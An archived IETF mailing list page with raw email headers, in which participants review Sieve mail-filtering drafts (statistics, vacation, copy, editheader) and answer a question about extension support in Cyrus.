Re: Please review ; Sieve Statistics and Sieve remove attachments
Lyndon Nerenberg <lyndon@orthanc.ca> Thu, 29 January 2004 21:10 UTC
Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TLA1tN059239; Thu, 29 Jan 2004 13:10:01 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org)
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TLA1HC059238; Thu, 29 Jan 2004 13:10:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f
Received: from orthanc.ca (orthanc.ca [209.89.70.53]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TL9wqS059204 for <ietf-mta-filters@imc.org>; Thu, 29 Jan 2004 13:10:00 -0800 (PST) (envelope-from lyndon@orthanc.ca)
Received: from d154-5-112-162.bchsia.telus.net (d154-5-112-162.bchsia.telus.net [154.5.112.162]) (authenticated bits=0) by orthanc.ca (8.12.9p1/8.12.9) with ESMTP id i0TL9pTh027878; Thu, 29 Jan 2004 14:09:52 -0700 (MST) (envelope-from lyndon@orthanc.ca)
Date: Thu, 29 Jan 2004 13:09:46 -0800
From: Lyndon Nerenberg <lyndon@orthanc.ca>
To: Madan Ganesh Velayudham <mganesh@india.hp.com>, ietf-mta-filters@imc.org
Subject: Re: Please review ; Sieve Statistics and Sieve remove attachments
Message-ID: <2147483647.1075381786@d154-5-112-162.bchsia.telus.net>
In-Reply-To: <401963FA.60905@india.hp.com>
References: <401963FA.60905@india.hp.com>
X-Mailer: Mulberry/3.1.1 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format="flowed"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.60
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on orthanc.ca
Sender: owner-ietf-mta-filters@mail.imc.org
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe>
--On 2004-1-30 1:20 AM +0530 Madan Ganesh Velayudham <mganesh@india.hp.com> wrote: > Please share views on the following : > > "SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes) Some comments based on a quick scan of the document ... Section 4: * "action" needs to be more clearly defined Section 5: * Why two capabilities? Both commands are required, so there's no point in advertising two capability strings. The capability should be changed to something like "STATISTICS". Section 6: * What does a "zero valued action counter" mean? Surely '0' is a valid counter value, meaning the action has never been triggered. I think what you're implying here is that a '0' value means the counter for the action isn't implemented. If that's the case, just don't return a response for that action. * Presumably GETSTAT is only valid in authenticated state? (Section 7 explicitly calls this out, so section 6 should as well.) Section 8: * The grammar (and semantic description) for the command responses is missing. Section 9: * Since there's no way (that I can see) to access another users counter data (through the protocol), this text doesn't seem relevant. General: * How useful is the returned data? The fact that an action took place doesn't really tell me anything. I would be much more interested in seeing how often each rule fired, as that would allow me to optimize my rulesets. --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TLA1tN059239; Thu, 29 Jan 2004 13:10:01 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TLA1HC059238; Thu, 29 Jan 2004 13:10:01 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from orthanc.ca (orthanc.ca [209.89.70.53]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TL9wqS059204 for <ietf-mta-filters@imc.org>; Thu, 29 Jan 2004 13:10:00 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from d154-5-112-162.bchsia.telus.net (d154-5-112-162.bchsia.telus.net [154.5.112.162]) (authenticated bits=0) by orthanc.ca (8.12.9p1/8.12.9) with ESMTP id i0TL9pTh027878; Thu, 29 Jan 2004 14:09:52 -0700 (MST) (envelope-from lyndon@orthanc.ca) Date: Thu, 29 Jan 2004 13:09:46 -0800 From: Lyndon Nerenberg <lyndon@orthanc.ca> To: Madan Ganesh Velayudham <mganesh@india.hp.com>, ietf-mta-filters@imc.org Subject: Re: Please review ; Sieve Statistics and Sieve remove attachments Message-ID: <2147483647.1075381786@d154-5-112-162.bchsia.telus.net> In-Reply-To: <401963FA.60905@india.hp.com> References: <401963FA.60905@india.hp.com> X-Mailer: Mulberry/3.1.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on orthanc.ca Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> --On 2004-1-30 1:20 AM +0530 Madan Ganesh Velayudham <mganesh@india.hp.com> wrote: > Please share views on the following : > > "SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes) Some comments based on a quick scan of the document ... Section 4: * "action" needs to be more clearly defined Section 5: * Why two capabilities? Both commands are required, so there's no point in advertising two capability strings. The capability should be changed to something like "STATISTICS". Section 6: * What does a "zero valued action counter" mean? Surely '0' is a valid counter value, meaning the action has never been triggered. I think what you're implying here is that a '0' value means the counter for the action isn't implemented. If that's the case, just don't return a response for that action. * Presumably GETSTAT is only valid in authenticated state? (Section 7 explicitly calls this out, so section 6 should as well.) Section 8: * The grammar (and semantic description) for the command responses is missing. Section 9: * Since there's no way (that I can see) to access another users counter data (through the protocol), this text doesn't seem relevant. General: * How useful is the returned data? The fact that an action took place doesn't really tell me anything. I would be much more interested in seeing how often each rule fired, as that would allow me to optimize my rulesets. --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TJoIlj042477; Thu, 29 Jan 2004 11:50:18 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TJoIKX042476; Thu, 29 Jan 2004 11:50:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TJoHIx042469 for <ietf-mta-filters@imc.org>; Thu, 29 Jan 2004 11:50:17 -0800 (PST) (envelope-from mganesh@india.hp.com) Received: from iconsrv6.india.hp.com (iconsrv6.india.hp.com [15.42.227.74]) by palrel12.hp.com (Postfix) with ESMTP id 325811C02FCB for <ietf-mta-filters@imc.org>; Thu, 29 Jan 2004 11:50:17 -0800 (PST) Received: from india.hp.com (nt23060.india.hp.com [15.42.230.60]) by iconsrv6.india.hp.com (8.11.1 (PHNE_29912)/8.9.3 SMKit7.02) with ESMTP id i0TJadZ26542 for <ietf-mta-filters@imc.org>; Fri, 30 Jan 2004 01:06:39 +0530 (IST) Message-ID: <401963FA.60905@india.hp.com> Date: Fri, 30 Jan 2004 01:20:18 +0530 From: Madan Ganesh Velayudham <mganesh@india.hp.com> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031014 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ietf-mta-filters@imc.org Subject: Please review ; Sieve Statistics and Sieve remove attachments Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> Hello, Please share views on the following : "SIEVE Statistics", Madan Velayudham, 03-Dec-03. (9179 bytes) http://www.ietf.org/internet-drafts/draft-madanganeshv-sieve-stat-00.txt This draft describes a mechanism of collecting the statistical information about sieve action on the received mail. It introduces GETSTAT and RESETSTAT commands to [MSIEVE] to get and reset the statistic information about the sieve actions. "SIEVE: Remove attachment(s)", Madan Velayudham, 23-Dec-03. (8185 bytes) " http://ietf.org/internet-drafts/draft-madanganeshv-sieve-remove-attach-00.txt This draft introduces an action command 'fileinto-except' to [SIEVE] in order to move a message to a folder without certain attachments of the received message. Thanks and Regards, MG -- _____________________________________________________________ ___ /___\ Madan ganesh Velayudham |/. .\| STSD, India ( ) ) +91 80 (2) 205 3108 \ = / _)_(_ There are no limitation in what you can do except the limitations of your own mind. _____________________________________________________________ Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SI0Ibb048098; Wed, 28 Jan 2004 10:00:18 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SI0IXI048097; Wed, 28 Jan 2004 10:00:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from eagle.oceana.com ([208.17.123.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SI0Hf6048087 for <ietf-mta-filters@imc.org>; Wed, 28 Jan 2004 10:00:17 -0800 (PST) (envelope-from ken@oceana.com) Received: from oceana.com (KEN.oceana.com [192.168.10.26]) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i0SI03jY020937; Wed, 28 Jan 2004 13:00:03 -0500 (EST) Message-ID: <4017F900.1080807@oceana.com> Date: Wed, 28 Jan 2004 13:01:36 -0500 From: Ken Murchison <ken@oceana.com> Reply-To: Cyrus Mailing List <info-cyrus@lists.andrew.cmu.edu> Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: andgil83@gmx.net CC: ietf-mta-filters@imc.org, Cyrus Mailing List <info-cyrus@lists.andrew.cmu.edu> Subject: Re: Sieve Extensions References: <3406.1075250889@www51.gmx.net> In-Reply-To: <3406.1075250889@www51.gmx.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 (BAYES_00,MAILTO_TO_SPAM_ADDR) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> andgil83@gmx.net wrote: > hi, > > Is besides the basic sieve action extensions (fileinto, keep, redirect, > reject, discard & vacation) the regex or subadresses extensions currently > implemented?, so that I can used it in an script run on an cyrus imapd 2.2.17. I'm moving this message to the info-cyrus list where its more appropriate. The answer to your question is yes, the Cyrus Sieve implementation supports both of these extensions -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S0mDOf071969; Tue, 27 Jan 2004 16:48:13 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0S0mDkE071968; Tue, 27 Jan 2004 16:48:13 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by above.proper.com (8.12.11/8.12.8) with SMTP id i0S0mClU071960 for <ietf-mta-filters@imc.org>; Tue, 27 Jan 2004 16:48:13 -0800 (PST) (envelope-from andgil83@gmx.net) Received: (qmail 3705 invoked by uid 0); 28 Jan 2004 00:48:09 -0000 Received: from 80.143.230.234 by www51.gmx.net with HTTP; Wed, 28 Jan 2004 01:48:09 +0100 (MET) Date: Wed, 28 Jan 2004 01:48:09 +0100 (MET) From: andgil83@gmx.net To: ietf-mta-filters@imc.org MIME-Version: 1.0 Subject: Sieve Extensions X-Priority: 3 (Normal) X-Authenticated: #21646041 Message-ID: <3406.1075250889@www51.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> hi, Is besides the basic sieve action extensions (fileinto, keep, redirect, reject, discard & vacation) the regex or subadresses extensions currently implemented?, so that I can used it in an script run on an cyrus imapd 2.2.17. best regards -john gildman -- +++ GMX - die erste Adresse für Mail, Message, More +++ Bis 31.1.: TopMail + Digicam für nur 29 EUR http://www.gmx.net/topmail Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PH0W0l005829; Sun, 25 Jan 2004 09:00:32 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PH0WTb005828; Sun, 25 Jan 2004 09:00:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PH0S3A005821 for <ietf-mta-filters@imc.org>; Sun, 25 Jan 2004 09:00:29 -0800 (PST) (envelope-from ned.freed@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L5SA699LDS00D1EZ@mauve.mrochek.com> for ietf-mta-filters@imc.org; Sun, 25 Jan 2004 09:00:27 -0800 (PST) Date: Sun, 25 Jan 2004 08:17:22 -0800 (PST) From: ned.freed@mrochek.com Subject: AD review comments on draft-showalter-sieve-vacation-05.txt In-reply-to: "Your message dated Sun, 25 Jan 2004 07:47:32 -0800 (PST)" <01L5T4G6AP2000D1EZ@mauve.mrochek.com> To: tjs@mirapoint.com Cc: ietf-mta-filters@imc.org, ned.freed@mrochek.com Message-id: <01L5T6J043JW00D1EZ@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii Content-transfer-encoding: 7BIT References: <01L5T4G6AP2000D1EZ@mauve.mrochek.com> Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> (Unfortunately this draft has expired. Hopefully this can be corrected in a timely fashion.) I reviewed this document once in the past and most of the issues I had were addressed at that time. The only ones I see that remain are: (1) In section 3.5 it should be noted that in-reply-to need not be generated if the original message doesn't have a message-id. A references field should also be generated and set similarly. (2) In section 3.6 Resent- field variants should be checked for addresses in addition to the To:/Cc:/Bcc: fields. (3) A new section needs to be added before section 3.6 that discusses how to set the From: field in vacaation responses. I believe the correct advice to give is that the field SHOULD be set to the address of the sieve owner. (4) A new section needs to be added before section 3.6 that discusses how to set the To: field in vacation responses. It should say that the To: field SHOULD be set to the address of the recipient of the response. (5) A new section needs to be added that says an Auto-submitted: field with a value of "auto-replied" SHOULD be included in the message header of any vacation reply that is sent. (6) The sections describing the response message to send are mingled with the sections describing the various vacation action parameters. These really need to be teased out into a separate major section. The major section should also say that the generated response must be a valid email message with all of the required header fields present. (7) This document needs to be reconciled with Keith Moore's draft on auto-responders, draft-moore-auto-email-response-04.txt, which has been through last call. I've thought about this a lot, and I think the right way to do it is to simply add a section that discusses what sort of auto-responder this is in Keith's terms. Something like this: 4. Relationship to "Recommendations for Automatic Responses to Electronic Mail" The sieve vacation extension implements a "Personal Responder" in the terminology defined in [AUTO]. Care has been taken in this specification to comply with the recommendations [AUTO] makes in regards to how personal responders should behave. And of course a reference to [AUTO] needs to be added to the references section: [AUTO] Moore, K., "Recommendations for Automatic Responses to Electronic Mail", Internet-Draft, draft-moore-auto-email-response-04.txt. (8) The security consideration section is likely to be seen as inadequate in its discussion of potential problems auto-responders can cause. Fortunately there's a nice way to resolve this without adding a bunch of text to the present document: Refer to Keith Moore's auto-responder draft with a sentence like: Security issues associated with mail auto-responders are fully discussed in the security consideration section of [AUTO]. (9) An IANA considerations section needs to be added just after the security considerations: 5 IANA Considerations The following template specifies the IANA registration of the vacation Sieve extension specified in this document: To: iana@iana.org Subject: Registration of new Sieve extension Capability name: vacation Capability keyword: vacation Capability arguments: N/A Standards Track/IESG-approved experimental RFC number: this RFC Person and email address to contact for further information: Tim Showalter Mirapoint, Inc. 909 Hermosa Court Sunnyvale, CA 94085 E-Mail: tjs@mirapoint.com This information should be added to the list of sieve extensions given on http://www.iana.org/assignments/sieve-extensions. (10) The references section needs to be split into normative and informative groups. I believe [MAILBOXNAMES] belongs in the informative section while all the others, including [AUTO], belong in the normative section. (11) IPR boilerplate needs to be added just before the copyright: Appendix B Intellectual Property Rights Statement The IETF takes no position regarding the validity or scope of any intellectual property or other rights that might be claimed to pertain to the implementation or use of the technology described in this document or the extent to which any license under such rights might or might not be available; neither does it represent that it has made any effort to identify any such rights. Information on the IETF's procedures with respect to rights in standards-track and standards-related documentation can be found in BCP-11. Copies of claims of rights made available for publication and any assurances of licenses to be made available, or the result of an attempt made to obtain a general license or permission for the use of such proprietary rights by implementors or users of this specification can be obtained from the IETF Secretariat. That's it. Ned Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PGDNGm003522; Sun, 25 Jan 2004 08:13:23 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PGDNPi003521; Sun, 25 Jan 2004 08:13:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PGDM1O003514 for <ietf-mta-filters@imc.org>; Sun, 25 Jan 2004 08:13:22 -0800 (PST) (envelope-from ned.freed@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L5SA699LDS00D1EZ@mauve.mrochek.com> for ietf-mta-filters@imc.org; Sun, 25 Jan 2004 08:13:19 -0800 (PST) Date: Sun, 25 Jan 2004 08:12:10 -0800 (PST) From: ned.freed@mrochek.com Subject: Re: AD review comments on draft-degener-sieve-copy-01.txt In-reply-to: "Your message dated Sun, 25 Jan 2004 07:47:32 -0800 (PST)" <01L5T4G6AP2000D1EZ@mauve.mrochek.com> To: ned.freed@mrochek.com Cc: Jutta Degener <jutta@sendmail.com>, ietf-mta-filters@imc.org, ned.freed@mrochek.com Message-id: <01L5T4VK2SRY00D1EZ@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii Content-transfer-encoding: 7BIT References: <01L5T4G6AP2000D1EZ@mauve.mrochek.com> Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> > I just reviewed this specification and I think it is quite close to being ready > for last call. My only comments are: Oops, missed one. The title of Appendix A needs to be changed to "Appendix A. Normative references". Sorry about that. Ned Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PG0v9P003014; Sun, 25 Jan 2004 08:00:57 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PG0vHS003013; Sun, 25 Jan 2004 08:00:57 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mauve.mrochek.com ([209.55.107.55]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PG0uHN003007 for <ietf-mta-filters@imc.org>; Sun, 25 Jan 2004 08:00:56 -0800 (PST) (envelope-from ned.freed@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L5SA699LDS00D1EZ@mauve.mrochek.com> for ietf-mta-filters@imc.org; Sun, 25 Jan 2004 08:00:55 -0800 (PST) Date: Sun, 25 Jan 2004 07:47:32 -0800 (PST) From: ned.freed@mrochek.com Subject: AD review comments on draft-degener-sieve-copy-01.txt To: Jutta Degener <jutta@sendmail.com> Cc: ietf-mta-filters@imc.org, ned.freed@mrochek.com Message-id: <01L5T4G6AP2000D1EZ@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii Content-transfer-encoding: 7BIT Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> I just reviewed this specification and I think it is quite close to being ready for last call. My only comments are: (1) An example showing the use of the extentsion is needed. In particular, I've found that it really helps to have something that shows people what needs to be in the "reauire" clause. (2) There needs to be an IANA considerations section telling IANA what to do. Something like this should appear as a section after the security considerations: 5 IANA Considerations The following template specifies the IANA registration of the copy Sieve extension specified in this document: To: iana@iana.org Subject: Registration of new Sieve extension Capability name: copy Capability keyword: copy Capability arguments: N/A Standards Track/IESG-approved experimental RFC number: this RFC Person and email address to contact for further information: Jutta Degener Sendmail, Inc. 6425 Christie Ave, 4th Floor Emeryville, CA 94608 Email: jutta@sendmail.com This information should be added to the list of sieve extensions given on http://www.iana.org/assignments/sieve-extensions. (3) IPR boilerplate is missing and needs to be added as a separate section just before the copyright: Appendix B Intellectual Property Rights Statement The IETF takes no position regarding the validity or scope of any intellectual property or other rights that might be claimed to pertain to the implementation or use of the technology described in this document or the extent to which any license under such rights might or might not be available; neither does it represent that it has made any effort to identify any such rights. Information on the IETF's procedures with respect to rights in standards-track and standards-related documentation can be found in BCP-11. Copies of claims of rights made available for publication and any assurances of licenses to be made available, or the result of an attempt made to obtain a general license or permission for the use of such proprietary rights by implementors or users of this specification can be obtained from the IETF Secretariat. That's it. Jutta, if you can make these changes quickly that would be great, if not I'll probably go ahead and get the last call started anyway and the update can happen during the last call. Ned Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LFs2ib018085; Wed, 21 Jan 2004 07:54:02 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LFs29G018084; Wed, 21 Jan 2004 07:54:02 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0LFs0ib018077 for <ietf-mta-filters@imc.org>; Wed, 21 Jan 2004 07:54:00 -0800 (PST) (envelope-from mem@mv.mv.com) Received: (qmail 18771 invoked from network); 21 Jan 2004 10:52:06 -0500 Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 21 Jan 2004 10:52:06 -0500 X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net Received: (qmail 25329 invoked by uid 101); 21 Jan 2004 10:53:59 -0500 From: "Mark E. Mallett" <mem@mv.mv.com> Date: Wed, 21 Jan 2004 10:53:59 -0500 To: Nigel Swinson <Nigel@Swinson.com> Cc: Jutta Degener <jutta@sendmail.com>, ietf-mta-filters@imc.org Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action Message-ID: <20040121155358.GH2186@iridium.mv.net> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <400D8637.2050805@elvey.fastmail.fm> <20040120215328.GA1785@jutta.sendmail.com> <004601c3dfb5$63fff7e0$6601a8c0@nigelhome> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <004601c3dfb5$63fff7e0$6601a8c0@nigelhome> User-Agent: Mutt/1.4.1i Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> On Wed, Jan 21, 2004 at 12:27:45AM -0000, Nigel Swinson wrote: > > > Should we say that > > [ ] the first fileinto wins, say that > > [ ] any one fileinto may win (but it has to be one of > > the actual fileintos - can't have just half the > > headers or additional headers), > > [ ] the last fileinto wins, > > [ ] or leave it completely open? > > > > I'd like one of the first three -- I think if it is one of the > > fourth, it starts weakening the connection between message modification > > and message use, and I'd like that connection to be a strong one. > > Well action-as-you-go implementations are going to vote for 1, > actions-all-at-the-end impelmentations are going to vote for 3, and I > think we need to make it equally feasable to implement either way > which means I think we have to have either option 2 or 4. So that > makes me vote for option 2? That seems logical. mm Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0L0WIib098415; Tue, 20 Jan 2004 16:32:19 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0L0WILu098406; Tue, 20 Jan 2004 16:32:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from vementry.enterprise.ucs.ed.ac.uk (vementry.enterprise.ucs.ed.ac.uk [129.215.200.96]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0L0WDib098330 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 16:32:13 -0800 (PST) (envelope-from Nigel@swinson.com) Received: from nigelhome (unverified [82.41.75.235]) by vementry.enterprise.ucs.ed.ac.uk (Rockliffe SMTPRA 6.0.9) with ESMTP id <B0000000778@vementry.enterprise.ucs.ed.ac.uk>; Wed, 21 Jan 2004 00:22:12 +0000 Message-ID: <004601c3dfb5$63fff7e0$6601a8c0@nigelhome> From: "Nigel Swinson" <Nigel@swinson.com> To: "Jutta Degener" <jutta@sendmail.com> Cc: <ietf-mta-filters@imc.org> References: <20040107230304.GA7713@iridium.mv.net> <20040108005337.GB3244@jutta.sendmail.com> <20040115235535.GM28467@iridium.mv.net> <400D8637.2050805@elvey.fastmail.fm> <20040120215328.GA1785@jutta.sendmail.com> Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action Date: Wed, 21 Jan 2004 00:27:45 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0L0WEib098357 Sender: owner-ietf-mta-filters@mail.imc.org Precedence: bulk List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/> List-ID: <ietf-mta-filters.imc.org> List-Unsubscribe: <mailto:ietf-mta-filters-request@imc.org?body=unsubscribe> > > > A message modified by addheader or deleteheader MUST NOT > > > be considered the same as the original message unless it > > > matches the original message exactly. > > At this point, I'd like to throw this out as well. Anyone have > a compelling reason not to? > > Personally, I'd like it to be replaced by an explicit statement > saying that these added headers do *not* make the message different. Great! I'd like it thrown too, but it does sounds a little bizzare to do put in the counter statement, as we all know that it isn't actually the same message. If we are throwing it out, doesn't it make any of the following 4 options correct? > Should we say that > [ ] the first fileinto wins, say that > [ ] any one fileinto may win (but it has to be one of > the actual fileintos - can't have just half the > headers or additional headers), > [ ] the last fileinto wins, > [ ] or leave it completely open? > > I'd like one of the first three -- I think if it is one of the > fourth, it starts weakening the connection between message modification > and message use, and I'd like that connection to be a strong one. Well action-as-you-go implementations are going to vote for 1, actions-all-at-the-end impelmentations are going to vote for 3, and I think we need to make it equally feasable to implement either way which means I think we have to have either option 2 or 4. So that makes me vote for option 2? Nigel Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KLrnib088561; Tue, 20 Jan 2004 13:53:49 -0800 (PST) (envelope-from owner-ietf-mta-filters@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KLrn61088560; Tue, 20 Jan 2004 13:53:49 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-mta-filters@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KLrmib088545 for <ietf-mta-filters@imc.org>; Tue, 20 Jan 2004 13:53:48 -0800 (PST) (envelope-from jutta@sendmail.com) Received: from 